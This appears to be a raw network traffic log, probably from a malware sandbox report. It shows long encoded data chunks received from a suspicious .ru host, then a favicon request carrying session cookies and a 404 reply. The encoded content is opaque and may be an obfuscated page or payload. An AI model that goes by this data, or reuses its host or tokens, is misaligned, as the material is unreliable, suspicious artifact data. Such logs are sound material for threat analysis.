2024-12-11 20:03:31 UTC	1369	IN	Data Raw: 6c 53 47 31 4d 6b 55 46 64 48 55 52 78 6f 4e 44 5a 6b 4e 32 39 52 58 55 41 38 58 79 39 46 5a 30 56 53 55 45 52 4a 50 55 68 4b 50 6c 4e 4e 51 49 56 58 64 31 42 43 65 6b 5a 44 59 30 74 63 62 49 35 66 67 55 74 4d 56 55 6d 41 59 35 43 63 6a 47 64 75 65 6e 4a 72 65 70 71 50 6d 6f 61 48 6c 6e 78 34 64 57 74 39 68 47 69 77 6d 59 79 72 71 34 74 2b 6f 6f 79 33 71 72 53 6c 76 4a 6d 6e 6d 4a 57 4c 74 73 53 74 6f 34 53 47 68 5a 2b 48 75 4d 69 4a 7a 6f 4b 49 69 6f 71 78 6c 4b 2f 51 70 4d 79 71 31 71 6d 75 6e 61 32 5a 7a 37 65 77 34 72 48 4f 74 4c 2f 66 78 5a 33 43 33 72 2f 6c 77 2b 33 69 79 4f 66 76 35 76 48 6a 38 2b 72 31 76 50 66 75 2b 66 76 37 38 67 48 76 41 50 59 46 79 41 54 36 43 50 63 49 2f 67 7a 6c 44 41 4d 51 31 42 41 48 46 42 51 55 43 78 50 78 47 41 38 58 32 Data Ascii: lSG1MkUFdHURxoNDZkN29RXUA8Xy9FZ0VSUERJPUhKPlNNQIVXd1BCekZDY0tcbI5fgUtMVUmAY5CcjGduenJrepqPmoaHlnx4dWt9hGiwmYyrq4t+ooy3qrSlvJmnmJWLtsSto4SGhZ+HuMiJzoKIioqxlK/QpMyq1qmuna2Zz7ew4rHOtL/fxZ3C3r/lw+3iyOfv5vHj8+r1vPfu+fv78gHvAPYFyAT6CPcI/gzlDAMQ1BAHFBQUCxPxGA8X2
2024-12-11 20:03:31 UTC	1369	IN	Data Raw: 6c 4d 6d 56 4a 59 7a 73 35 56 79 64 69 5a 45 6c 52 4d 30 46 31 61 32 73 34 63 57 31 73 5a 30 39 35 66 6d 74 54 66 58 35 76 56 34 42 6b 63 31 75 45 65 48 64 70 54 32 42 37 59 34 78 39 67 56 42 53 62 57 52 38 61 33 69 4e 62 58 71 4c 6b 56 78 36 6a 35 56 67 57 70 4f 5a 71 70 69 58 6e 61 36 47 6d 36 47 79 5a 70 2b 6c 74 72 53 6a 71 62 6d 53 70 36 32 39 76 4b 75 78 78 4b 4c 43 74 61 2b 70 77 34 6d 59 6d 63 65 4f 70 59 6a 4c 68 49 36 4d 7a 34 79 6d 79 4a 54 4d 30 5a 6d 50 32 74 7a 59 33 4e 44 63 31 37 36 68 73 62 62 6f 70 64 61 37 35 4d 50 6d 76 38 57 39 36 72 44 41 35 4c 58 52 38 2f 6a 4d 79 66 44 6f 33 74 76 34 2f 4f 48 4f 39 4e 6a 6e 31 76 54 47 35 38 66 6b 2b 4e 76 69 36 51 50 74 33 76 55 4d 36 2b 4c 74 31 2f 49 4f 35 51 66 30 49 75 41 68 2b 42 58 78 37 76 Data Ascii: lMmVJYzs5VydiZElRM0F1a2s4cW1sZ095fmtTfX5vV4Bkc1uEeHdpT2B7Y4x9gVBSbWR8a3iNbXqLkVx6j5VgWpOZqpiXna6Gm6GyZp+ltrSjqbmSp629vKuxxKLCta+pw4mYmceOpYjLhI6Mz4ymyJTM0ZmP2tzY3NDc176hsbbopda75MPmv8W96rDA5LXR8/jMyfDo3tv4/OHO9Njn1vTG58fk+Nvi6QPt3vUM6+Lt1/IO5Qf0IuAh+BXx7v
2024-12-11 20:03:31 UTC	1369	IN	Data Raw: 4b 48 42 44 5a 43 78 30 52 32 74 56 4c 33 5a 44 4e 48 78 50 63 6e 52 72 66 49 4e 4c 65 46 39 78 62 32 6c 58 68 32 4e 31 66 56 32 46 62 59 79 48 59 33 35 30 69 32 65 43 64 49 39 72 68 6f 65 4b 63 56 4a 74 6e 6c 74 7a 6f 59 53 47 6e 58 31 34 6f 6d 69 42 67 57 46 38 6e 4b 32 79 68 70 53 47 73 48 53 68 75 62 53 50 6a 35 65 67 6d 6f 2b 79 66 4b 57 51 67 62 69 6d 6e 71 4c 43 6f 63 4b 36 75 4c 79 6a 30 35 76 41 6e 36 4c 50 77 4a 65 5a 30 39 50 64 71 38 72 5a 6e 72 33 58 35 4d 2b 37 31 35 72 4b 75 64 58 41 78 2b 44 76 77 71 37 6e 36 4e 58 48 77 4f 62 78 36 4f 37 4c 35 4e 44 4e 38 65 33 78 31 2b 4f 38 32 38 2f 6e 31 74 51 47 30 39 66 56 41 65 33 74 7a 41 50 4d 43 52 58 32 37 68 48 75 35 4e 54 76 47 67 2f 31 32 42 77 54 49 43 41 67 46 78 2f 31 4a 66 30 71 41 69 67 Data Ascii: KHBDZCx0R2tVL3ZDNHxPcnRrfINLeF9xb2lXh2N1fV2FbYyHY350i2eCdI9rhoeKcVJtnltzoYSGnX14omiBgWF8nK2yhpSGsHShubSPj5egmo+yfKWQgbimnqLCocK6uLyj05vAn6LPwJeZ09Pdq8rZnr3X5M+715rKudXAx+Dvwq7n6NXHwObx6O7L5NDN8e3x1+O828/n1tQG09fVAe3tzAPMCRX27hHu5NTvGg/12BwTICAgFx/1Jf0qAig
2024-12-11 20:03:31 UTC	1369	IN	Data Raw: 6c 56 74 63 48 52 5a 5a 55 6c 6f 4f 58 56 4e 62 46 70 6b 59 6e 77 38 5a 33 31 42 68 6f 4e 46 66 49 42 34 53 55 31 78 63 49 65 41 55 59 31 6c 68 46 4f 55 57 6c 61 49 6a 6f 79 52 64 35 47 46 62 33 53 56 68 35 2b 46 63 35 6d 57 66 36 56 37 6f 48 2b 4a 6a 34 75 68 68 36 61 36 6d 37 4f 51 76 71 75 39 67 4a 54 44 6a 4c 66 46 6c 37 58 49 6f 61 54 49 6c 63 44 45 6d 70 6d 70 76 35 2f 56 70 4b 43 53 6a 36 7a 43 31 35 6d 74 30 4c 33 67 73 39 66 42 6d 2b 4b 76 6f 4f 69 37 33 75 44 58 36 4f 2b 33 35 4d 7a 75 73 4d 33 42 38 38 2f 68 36 63 6e 78 32 66 72 33 75 72 6e 32 7a 67 44 44 39 51 51 45 38 64 50 49 42 67 58 62 7a 67 6f 51 44 67 67 47 46 65 33 55 7a 77 67 43 43 68 4c 63 46 76 54 52 38 43 45 54 41 50 59 46 43 4e 37 6c 41 66 54 70 2b 53 41 6c 43 2f 30 4c 49 42 44 75 Data Ascii: lVtcHRZZUloOXVNbFpkYnw8Z31BhoNFfIB4SU1xcIeAUY1lhFOUWlaIjoyRd5GFb3SVh5+Fc5mWf6V7oH+Jj4uhh6a6m7OQvqu9gJTDjLfFl7XIoaTIlcDEmpmpv5/VpKCSj6zC15mt0L3gs9fBm+KvoOi73uDX6O+35MzusM3B88/h6cnx2fr3urn2zgDD9QQE8dPIBgXbzgoQDggGFe3UzwgCChLcFvTR8CETAPYFCN7lAfTp+SAlC/0LIBDu
2024-12-11 20:03:31 UTC	1369	IN	Data Raw: 64 57 4f 6b 6c 4f 51 54 35 74 55 34 43 47 5a 32 64 42 69 31 6d 48 67 57 64 50 54 57 6c 7a 55 32 75 4a 5a 6c 4a 76 64 49 39 61 6d 47 68 5a 58 6e 65 65 6b 56 2b 68 65 59 2b 6a 5a 48 57 41 61 4b 78 6e 71 48 78 2f 6f 34 4b 63 67 33 57 69 6c 70 53 68 71 36 2b 7a 6a 34 65 67 73 72 4f 78 6d 58 61 76 75 71 57 42 74 62 37 43 6c 72 2f 41 73 4d 72 49 6e 64 48 46 72 4b 79 55 32 4a 50 55 73 74 54 59 74 39 6a 54 75 74 65 79 31 2b 57 30 70 4c 69 6d 79 74 32 38 31 62 7a 69 77 63 50 4b 35 61 2f 66 36 73 4c 73 79 2f 72 34 32 50 54 31 7a 73 6a 52 42 4e 50 75 37 76 33 31 31 4f 50 47 32 66 51 43 42 41 30 51 34 75 6b 44 33 77 76 79 42 50 41 4a 47 41 6a 37 35 74 77 4b 46 65 37 69 44 69 51 66 43 42 6f 57 46 68 33 35 47 67 6e 71 49 41 66 6e 36 2f 4d 4d 4b 2f 4c 32 44 79 63 38 43 Data Ascii: dWOklOQT5tU4CGZ2dBi1mHgWdPTWlzU2uJZlJvdI9amGhZXneekV+heY+jZHWAaKxnqHx/o4Kcg3WilpShq6+zj4egsrOxmXavuqWBtb7Clr/AsMrIndHFrKyU2JPUstTYt9jTutey1+W0pLimyt281bziwcPK5a/f6sLsy/r42PT1zsjRBNPu7v311OPG2fQCBA0Q4ukD3wvyBPAJGAj75twKFe7iDiQfCBoWFh35GgnqIAfn6/MMK/L2Dyc8C
2024-12-11 20:03:31 UTC	1369	IN	Data Raw: 2f 56 48 64 67 59 6b 4e 68 52 6b 4e 62 66 31 35 34 53 6f 53 51 66 30 35 6d 68 59 52 33 62 59 4a 55 66 57 78 59 6c 6d 6d 57 57 56 57 45 6c 70 56 6d 57 6e 52 6f 61 36 68 38 62 57 47 74 72 70 79 6e 5a 71 57 50 73 71 2b 54 6f 36 6c 34 6c 34 79 32 66 49 75 72 74 61 57 50 6c 62 79 5a 78 61 54 47 77 38 57 33 76 62 47 62 70 38 47 77 77 64 58 4a 6c 4e 62 45 70 35 66 61 6d 62 6a 56 32 71 37 61 6f 39 58 65 34 72 72 56 6f 2b 58 72 36 65 48 67 72 62 72 53 71 74 2f 45 35 75 75 33 74 72 58 73 32 74 54 4f 32 74 4c 58 32 76 72 76 2b 74 66 32 33 77 4d 46 36 64 62 38 34 76 6e 63 2f 4f 48 78 42 77 4c 54 34 38 34 4c 46 42 7a 76 37 39 73 50 38 78 4d 50 47 66 55 6a 48 52 6f 53 45 67 63 67 35 77 51 4c 48 79 6b 65 43 79 6a 77 42 41 38 6e 39 44 6f 6b 4c 6a 59 6d 4a 7a 54 37 45 42 Data Ascii: /VHdgYkNhRkNbf154SoSQf05mhYR3bYJUfWxYlmmWWVWElpVmWnRoa6h8bWGtrpynZqWPsq+To6l4l4y2fIurtaWPlbyZxaTGw8W3vbGbp8GwwdXJlNbEp5fambjV2q7ao9Xe4rrVo+Xr6eHgrbrSqt/E5uu3trXs2tTO2tLX2vrv+tf23wMF6db84vnc/OHxBwLT484LFBzv79sP8xMPGfUjHRoSEgcg5wQLHykeCyjwBA8n9DokLjYmJzT7EB
2024-12-11 20:03:31 UTC	1369	IN	Data Raw: 53 6e 57 4c 68 6d 2b 42 66 58 32 45 59 59 46 77 55 6f 64 75 61 4a 74 57 63 35 70 58 57 6f 32 69 58 31 56 6b 70 59 39 6b 65 58 64 6a 6e 6e 32 70 65 61 4b 41 6d 61 65 6c 68 62 47 50 71 59 69 6c 70 4b 39 34 6a 33 65 7a 74 37 32 4c 74 5a 52 2b 6a 36 43 47 6c 36 57 2f 6a 4d 75 70 76 34 62 41 6f 4c 2f 4f 72 38 76 58 71 35 4b 54 30 70 71 6e 6c 64 58 4a 71 37 48 65 74 37 4f 6c 34 72 76 64 78 4f 4b 71 78 2b 33 73 77 37 75 77 36 64 33 4a 33 2b 37 59 71 2b 6a 5a 30 63 7a 58 75 76 66 2b 32 41 44 55 76 66 63 49 31 41 72 37 2f 64 37 73 37 78 41 4b 41 38 2f 52 34 51 51 4e 38 75 66 69 36 66 54 55 46 65 30 63 45 50 6a 64 34 4f 4d 57 4a 79 51 66 42 4f 58 6c 4a 43 34 59 37 41 49 41 36 79 63 47 4d 67 49 72 43 53 49 77 4c 67 34 36 47 44 49 52 4c 69 30 34 41 52 67 41 50 45 42 Data Ascii: SnWLhm+BfX2EYYFwUoduaJtWc5pXWo2iX1VkpY9keXdjnn2peaKAmaelhbGPqYilpK94j3ezt72LtZR+j6CGl6W/jMupv4bAoL/Or8vXq5KT0pqnldXJq7Het7Ol4rvdxOKqx+3sw7uw6d3J3+7Yq+jZ0czXuvf+2ADUvfcI1Ar7/d7s7xAKA8/R4QQN8ufi6fTUFe0cEPjd4OMWJyQfBOXlJC4Y7AIA6ycGMgIrCSIwLg46GDIRLi04ARgAPEB
2024-12-11 20:03:31 UTC	1369	IN	Data Raw: 34 56 72 55 31 46 74 64 31 64 76 6a 57 70 57 69 58 53 4d 55 56 61 4b 6b 56 6c 37 6e 6d 52 68 65 61 61 67 6e 5a 57 56 69 71 4e 72 68 34 36 69 72 4b 47 4f 71 33 53 48 6b 71 70 34 76 61 65 78 75 61 6d 71 74 33 2b 54 6e 72 69 6f 6c 70 6e 46 72 61 4f 33 69 5a 6d 6e 70 59 57 67 74 70 50 57 71 73 61 71 30 63 57 7a 6e 64 76 4a 31 61 76 64 74 70 37 56 34 65 66 6c 33 64 79 70 74 73 36 6d 32 38 44 69 35 37 4f 79 73 65 6a 57 30 4d 72 57 7a 74 50 57 39 75 76 32 32 66 54 78 2f 67 48 6c 30 76 6a 65 39 64 6a 34 33 65 30 44 2f 63 2f 66 79 67 63 51 47 4f 76 72 31 77 76 76 44 77 73 56 38 52 38 5a 46 67 34 4f 41 78 7a 6a 41 41 63 62 4a 52 6f 48 4a 4f 77 41 43 79 50 77 4e 69 41 71 4d 69 49 6a 4d 50 63 4d 46 7a 45 68 44 78 49 2b 4a 68 77 76 41 68 49 67 48 76 30 5a 4f 51 78 50 Data Ascii: 4VrU1Ftd1dvjWpWiXSMUVaKkVl7nmRheaagnZWViqNrh46irKGOq3SHkqp4vaexuamqt3+TnriolpnFraO3iZmnpYWgtpPWqsaq0cWzndvJ1avdtp7V4efl3dypts6m28Di57OysejW0MrWztPW9uv22fTx/gHl0vje9dj43e0D/c/fygcQGOvr1wvvDwsV8R8ZFg4OAxzjAAcbJRoHJOwACyPwNiAqMiIjMPcMFzEhDxI+JhwvAhIgHv0ZOQxP

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:32 UTC	1318	OUT	GET /favicon.ico HTTP/1.1 Host: wdii.cxbeurue.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://wdii.cxbeurue.ru/lypKAd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im12cGZtSlF1eGtjQ2hlRmFDMW1nQXc9PSIsInZhbHVlIjoiWWljUGlPOEpWaE44Qm1Nd3NsZ1dUMEpMWVVqSlB5WThNMFZIRjk0R3Q2M2RkUEdsaXpHeXkzSjhOVXNRb3lTWHU4QWJ2YmpFR3hQc2JabjJVQ2I4OU1IT0RtSzI4OU9ndkxVd1g0M1VMdlFsRWdEU256SWxrQTZQY0V2QnQyQW4iLCJtYWMiOiIwMTkwNWMxZDQzY2ZlOWVlOWJhMjU3YTE4NzE1YmI5NTZhMWE1NjhiNmE3ZDRjNTFiMmFkMmZkYmEyNTNlYTE2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkxZRVQyUS9KSXd0VytGVWpkbmk0L0E9PSIsInZhbHVlIjoiRkRxb1ltVzV4YlNYNnZ2TTg3V1BSNHMxMXg2Q2ViZXhtSWdKNzlIUVNQbVlheFpJajlPa0pjSXpBa2ZnM2FCQzV6clpEQ2svbC9pN2ZWT2Q4R2U4cGU4ZnlDMmRmUm84dTZMYkhDb3FmY0xXL0dRcWZSb2UxQ1hHamUvRDdCaHoiLCJtYWMiOiJkZGY0YTk0NmJhMmExMDc5OGIwNzdmM2VlNzMxNzQxZWMyMzAwYWZmYmUzNDczMzBhMDUxMTkyMWFkNWUzZWQ2IiwidGFnIjoiIn0%3D
2024-12-11 20:03:32 UTC	1066	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 20:03:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qS3OUeGDkdqgPj7dIoYQZlZIxfdf9CDOdVwyzgbhoBMJhZCgHJw7jwldHv1OYrWHOGxosFmQENt1cb5TKDld94diRjwq%2BdewOHcYGMmHll6aYsLzh%2FcbwyO7iQSYjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1321&min_rtt=1315&rtt_var=383&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2253&delivery_rate=2966984&cwnd=250&unsent_bytes=0&cid=fa0992ffc82b510e&ts=287&x=0" CF-Cache-Status: HIT Age: 12093 Server: cloudflare CF-RAY: 8f0814222def8c8d-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1982&min_rtt=1970&rtt_var=763&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1896&delivery_rate=1410628&cwnd=246&unsent_bytes=0&cid=f5a530c9b10bb1fd&ts=470&x=0"
2024-12-11 20:03:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0